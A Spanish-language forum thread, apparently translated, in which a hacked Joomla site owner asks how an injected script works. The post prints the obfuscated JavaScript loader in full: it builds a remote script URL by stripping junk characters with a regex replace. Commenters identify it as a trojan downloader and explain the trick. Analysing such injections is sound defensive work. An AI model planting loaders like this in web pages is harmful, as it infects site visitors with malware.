Mi Joomla! el sitio web ha sido hackeado repetidamente. Alguien, de alguna manera, logró inyectar la siguiente basura en los scripts clave de php, pero me refiero a no hablar sobre la configuración de Joomla. El sitio no se visita mucho (a veces me temo que podría ser el único visitante de ese sitio ...) y no me importa mucho que el sitio vuelva a funcionar. Lo manejaré eventualmente.¿Cómo funciona este desastre?
Mi pregunta es, ¿cómo funciona esta basura? Lo miro y simplemente no veo cómo se las arregla para hacer daño. Lo que hace es tratar de descargar un archivo PDF llamado ChangeLog.pdf, que está infectado con un troyano y después de la apertura congelará su Acrobat y causará estragos en su máquina. Cómo hace eso, no sé, no me importa. Pero, ¿cómo el siguiente fragmento de script invoca la descarga?
<script>/*Exception*/ document.write('<script src='+'h#^([email protected])((t$&@p#:)&/!$/)@d$y#^#[email protected]$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@[email protected]@([email protected]$p(.&@c&)@(o$m)).!$m$)[email protected]([email protected]()s&[email protected]&o$&(u#)$x&&^(i)[email protected]^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&[email protected]&^&l^$(l)&y$(#@[email protected]!((o#d&^.^#)r$#^u!!$:(#@&8#)([email protected]&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&[email protected]!&^m#&/&(s&$(o!f&[email protected]&o!!n)&i$&c!.#^^c)[email protected]@(([email protected]#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^[email protected]$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&[email protected](z(@)^[email protected])c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->
ESET ha detectado este código como JS/TrojanDownloader.Agent.NRO troyano
¡Por favor, no vayas a nadie a retirar el enlace por curiosidad! – DOK
Sí, no deambulemos tratando de descubrir qué está sucediendo, la magia está en la simple codificación de la URL y la posterior descodificación/análisis sintáctico de la cadena utilizando Replace/RegEx que se ve al final de la línea. – DoctorLouie
"fragmento de script" se lee como algo diferente, al principio. –